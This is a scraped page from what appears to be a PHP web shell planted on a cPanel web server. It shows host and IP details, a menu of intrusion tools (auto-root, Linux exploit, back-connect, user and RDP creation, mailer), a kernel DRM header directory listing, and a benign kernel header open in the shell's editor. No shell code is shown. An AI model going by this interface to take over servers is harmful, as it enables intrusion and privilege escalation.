Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.6.51
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
src /
linux-headers-5.15.0-25 /
include /
drm /
[ HOME SHELL ]
Name
Size
Permission
Action
bridge
[ DIR ]
drwxr-xr-x
i2c
[ DIR ]
drwxr-xr-x
ttm
[ DIR ]
drwxr-xr-x
amd_asic_type.h
2.15
KB
-rw-r--r--
drm_aperture.h
1.13
KB
-rw-r--r--
drm_atomic.h
40.7
KB
-rw-r--r--
drm_atomic_helper.h
9.27
KB
-rw-r--r--
drm_atomic_state_helper.h
4.21
KB
-rw-r--r--
drm_atomic_uapi.h
2.17
KB
-rw-r--r--
drm_audio_component.h
3.79
KB
-rw-r--r--
drm_auth.h
4.64
KB
-rw-r--r--
drm_blend.h
2.35
KB
-rw-r--r--
drm_bridge.h
33.19
KB
-rw-r--r--
drm_bridge_connector.h
548
B
-rw-r--r--
drm_cache.h
3.01
KB
-rw-r--r--
drm_client.h
4.94
KB
-rw-r--r--
drm_color_mgmt.h
3.79
KB
-rw-r--r--
drm_connector.h
55.15
KB
-rw-r--r--
drm_crtc.h
44.48
KB
-rw-r--r--
drm_crtc_helper.h
2.39
KB
-rw-r--r--
drm_damage_helper.h
3.33
KB
-rw-r--r--
drm_debugfs.h
3.4
KB
-rw-r--r--
drm_debugfs_crc.h
2.66
KB
-rw-r--r--
drm_device.h
8.52
KB
-rw-r--r--
drm_displayid.h
3.32
KB
-rw-r--r--
drm_dp_aux_bus.h
1.7
KB
-rw-r--r--
drm_dp_dual_mode_helper.h
4.62
KB
-rw-r--r--
drm_dp_helper.h
87.62
KB
-rw-r--r--
drm_dp_mst_helper.h
27.73
KB
-rw-r--r--
drm_drv.h
18.67
KB
-rw-r--r--
drm_dsc.h
16.29
KB
-rw-r--r--
drm_edid.h
17.16
KB
-rw-r--r--
drm_encoder.h
10.64
KB
-rw-r--r--
drm_encoder_slave.h
6.44
KB
-rw-r--r--
drm_fb_cma_helper.h
575
B
-rw-r--r--
drm_fb_helper.h
12.71
KB
-rw-r--r--
drm_file.h
12.12
KB
-rw-r--r--
drm_fixed.h
4.71
KB
-rw-r--r--
drm_flip_work.h
3.01
KB
-rw-r--r--
drm_format_helper.h
1.49
KB
-rw-r--r--
drm_fourcc.h
9.7
KB
-rw-r--r--
drm_framebuffer.h
10.4
KB
-rw-r--r--
drm_gem.h
11.8
KB
-rw-r--r--
drm_gem_atomic_helper.h
4.61
KB
-rw-r--r--
drm_gem_cma_helper.h
6.83
KB
-rw-r--r--
drm_gem_framebuffer_helper.h
2.06
KB
-rw-r--r--
drm_gem_shmem_helper.h
4.23
KB
-rw-r--r--
drm_gem_ttm_helper.h
861
B
-rw-r--r--
drm_gem_vram_helper.h
6.17
KB
-rw-r--r--
drm_hashtab.h
3.01
KB
-rw-r--r--
drm_hdcp.h
8.79
KB
-rw-r--r--
drm_ioctl.h
6.23
KB
-rw-r--r--
drm_lease.h
1010
B
-rw-r--r--
drm_legacy.h
9.26
KB
-rw-r--r--
drm_managed.h
3.35
KB
-rw-r--r--
drm_mipi_dbi.h
4.72
KB
-rw-r--r--
drm_mipi_dsi.h
10.79
KB
-rw-r--r--
drm_mm.h
17.5
KB
-rw-r--r--
drm_mode_config.h
32.24
KB
-rw-r--r--
drm_mode_object.h
5.17
KB
-rw-r--r--
drm_modes.h
18.18
KB
-rw-r--r--
drm_modeset_helper.h
1.77
KB
-rw-r--r--
drm_modeset_helper_vtables.h
55.98
KB
-rw-r--r--
drm_modeset_lock.h
6.8
KB
-rw-r--r--
drm_of.h
4.11
KB
-rw-r--r--
drm_panel.h
6.26
KB
-rw-r--r--
drm_pciids.h
66.47
KB
-rw-r--r--
drm_plane.h
28.48
KB
-rw-r--r--
drm_plane_helper.h
1.75
KB
-rw-r--r--
drm_prime.h
4.07
KB
-rw-r--r--
drm_print.h
16.09
KB
-rw-r--r--
drm_probe_helper.h
848
B
-rw-r--r--
drm_property.h
11.76
KB
-rw-r--r--
drm_rect.h
6.86
KB
-rw-r--r--
drm_scdc_helper.h
4.34
KB
-rw-r--r--
drm_self_refresh_helper.h
594
B
-rw-r--r--
drm_simple_kms_helper.h
8.91
KB
-rw-r--r--
drm_syncobj.h
3.85
KB
-rw-r--r--
drm_sysfs.h
442
B
-rw-r--r--
drm_util.h
2.58
KB
-rw-r--r--
drm_utils.h
504
B
-rw-r--r--
drm_vblank.h
9.04
KB
-rw-r--r--
drm_vblank_work.h
1.91
KB
-rw-r--r--
drm_vma_manager.h
8.15
KB
-rw-r--r--
drm_writeback.h
4.05
KB
-rw-r--r--
gma_drm.h
413
B
-rw-r--r--
gpu_scheduler.h
15.44
KB
-rw-r--r--
gud.h
11.58
KB
-rw-r--r--
i915_component.h
1.76
KB
-rw-r--r--
i915_drm.h
3.6
KB
-rw-r--r--
i915_mei_hdcp_interface.h
5.76
KB
-rw-r--r--
i915_pciids.h
21.38
KB
-rw-r--r--
intel-gtt.h
996
B
-rw-r--r--
intel_lpe_audio.h
1.72
KB
-rw-r--r--
spsc_queue.h
3.06
KB
-rw-r--r--
task_barrier.h
2.95
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : drm_gem_vram_helper.h
/* SPDX-License-Identifier: GPL-2.0-or-later */ #ifndef DRM_GEM_VRAM_HELPER_H #define DRM_GEM_VRAM_HELPER_H #include <drm/drm_file.h> #include <drm/drm_gem.h> #include <drm/drm_gem_ttm_helper.h> #include <drm/drm_ioctl.h> #include <drm/drm_modes.h> #include <drm/ttm/ttm_bo_api.h> #include <drm/ttm/ttm_bo_driver.h> #include <linux/dma-buf-map.h> #include <linux/kernel.h> /* for container_of() */ struct drm_mode_create_dumb; struct drm_plane; struct drm_plane_state; struct drm_simple_display_pipe; struct filp; struct vm_area_struct; #define DRM_GEM_VRAM_PL_FLAG_SYSTEM (1 << 0) #define DRM_GEM_VRAM_PL_FLAG_VRAM (1 << 1) #define DRM_GEM_VRAM_PL_FLAG_TOPDOWN (1 << 2) /* * Buffer-object helpers */ /** * struct drm_gem_vram_object - GEM object backed by VRAM * @bo: TTM buffer object * @map: Mapping information for @bo * @placement: TTM placement information. Supported placements are \ %TTM_PL_VRAM and %TTM_PL_SYSTEM * @placements: TTM placement information. * * The type struct drm_gem_vram_object represents a GEM object that is * backed by VRAM. It can be used for simple framebuffer devices with * dedicated memory. The buffer object can be evicted to system memory if * video memory becomes scarce. * * GEM VRAM objects perform reference counting for pin and mapping * operations. So a buffer object that has been pinned N times with * drm_gem_vram_pin() must be unpinned N times with * drm_gem_vram_unpin(). The same applies to pairs of * drm_gem_vram_kmap() and drm_gem_vram_kunmap(), as well as pairs of * drm_gem_vram_vmap() and drm_gem_vram_vunmap(). */ struct drm_gem_vram_object { struct ttm_buffer_object bo; struct dma_buf_map map; /** * @vmap_use_count: * * Reference count on the virtual address. * The address are un-mapped when the count reaches zero. */ unsigned int vmap_use_count; /* Supported placements are %TTM_PL_VRAM and %TTM_PL_SYSTEM */ struct ttm_placement placement; struct ttm_place placements[2]; }; /** * drm_gem_vram_of_bo - Returns the container of type * &struct drm_gem_vram_object for field bo. * @bo: the VRAM buffer object * Returns: The containing GEM VRAM object */ static inline struct drm_gem_vram_object *drm_gem_vram_of_bo( struct ttm_buffer_object *bo) { return container_of(bo, struct drm_gem_vram_object, bo); } /** * drm_gem_vram_of_gem - Returns the container of type * &struct drm_gem_vram_object for field gem. * @gem: the GEM object * Returns: The containing GEM VRAM object */ static inline struct drm_gem_vram_object *drm_gem_vram_of_gem( struct drm_gem_object *gem) { return container_of(gem, struct drm_gem_vram_object, bo.base); } struct drm_gem_vram_object *drm_gem_vram_create(struct drm_device *dev, size_t size, unsigned long pg_align); void drm_gem_vram_put(struct drm_gem_vram_object *gbo); s64 drm_gem_vram_offset(struct drm_gem_vram_object *gbo); int drm_gem_vram_pin(struct drm_gem_vram_object *gbo, unsigned long pl_flag); int drm_gem_vram_unpin(struct drm_gem_vram_object *gbo); int drm_gem_vram_vmap(struct drm_gem_vram_object *gbo, struct dma_buf_map *map); void drm_gem_vram_vunmap(struct drm_gem_vram_object *gbo, struct dma_buf_map *map); int drm_gem_vram_fill_create_dumb(struct drm_file *file, struct drm_device *dev, unsigned long pg_align, unsigned long pitch_align, struct drm_mode_create_dumb *args); /* * Helpers for struct drm_driver */ int drm_gem_vram_driver_dumb_create(struct drm_file *file, struct drm_device *dev, struct drm_mode_create_dumb *args); /* * Helpers for struct drm_plane_helper_funcs */ int drm_gem_vram_plane_helper_prepare_fb(struct drm_plane *plane, struct drm_plane_state *new_state); void drm_gem_vram_plane_helper_cleanup_fb(struct drm_plane *plane, struct drm_plane_state *old_state); /** * DRM_GEM_VRAM_PLANE_HELPER_FUNCS - * Initializes struct drm_plane_helper_funcs for VRAM handling * * Drivers may use GEM BOs as VRAM helpers for the framebuffer memory. This * macro initializes struct drm_plane_helper_funcs to use the respective helper * functions. */ #define DRM_GEM_VRAM_PLANE_HELPER_FUNCS \ .prepare_fb = drm_gem_vram_plane_helper_prepare_fb, \ .cleanup_fb = drm_gem_vram_plane_helper_cleanup_fb /* * Helpers for struct drm_simple_display_pipe_funcs */ int drm_gem_vram_simple_display_pipe_prepare_fb( struct drm_simple_display_pipe *pipe, struct drm_plane_state *new_state); void drm_gem_vram_simple_display_pipe_cleanup_fb( struct drm_simple_display_pipe *pipe, struct drm_plane_state *old_state); /** * define DRM_GEM_VRAM_DRIVER - default callback functions for \ &struct drm_driver * * Drivers that use VRAM MM and GEM VRAM can use this macro to initialize * &struct drm_driver with default functions. */ #define DRM_GEM_VRAM_DRIVER \ .debugfs_init = drm_vram_mm_debugfs_init, \ .dumb_create = drm_gem_vram_driver_dumb_create, \ .dumb_map_offset = drm_gem_ttm_dumb_map_offset, \ .gem_prime_mmap = drm_gem_prime_mmap /* * VRAM memory manager */ /** * struct drm_vram_mm - An instance of VRAM MM * @vram_base: Base address of the managed video memory * @vram_size: Size of the managed video memory in bytes * @bdev: The TTM BO device. * @funcs: TTM BO functions * * The fields &struct drm_vram_mm.vram_base and * &struct drm_vram_mm.vrm_size are managed by VRAM MM, but are * available for public read access. Use the field * &struct drm_vram_mm.bdev to access the TTM BO device. */ struct drm_vram_mm { uint64_t vram_base; size_t vram_size; struct ttm_device bdev; }; /** * drm_vram_mm_of_bdev() - \ Returns the container of type &struct ttm_device for field bdev. * @bdev: the TTM BO device * * Returns: * The containing instance of &struct drm_vram_mm */ static inline struct drm_vram_mm *drm_vram_mm_of_bdev( struct ttm_device *bdev) { return container_of(bdev, struct drm_vram_mm, bdev); } void drm_vram_mm_debugfs_init(struct drm_minor *minor); /* * Helpers for integration with struct drm_device */ int drmm_vram_helper_init(struct drm_device *dev, uint64_t vram_base, size_t vram_size); /* * Mode-config helpers */ enum drm_mode_status drm_vram_helper_mode_valid(struct drm_device *dev, const struct drm_display_mode *mode); #endif
Close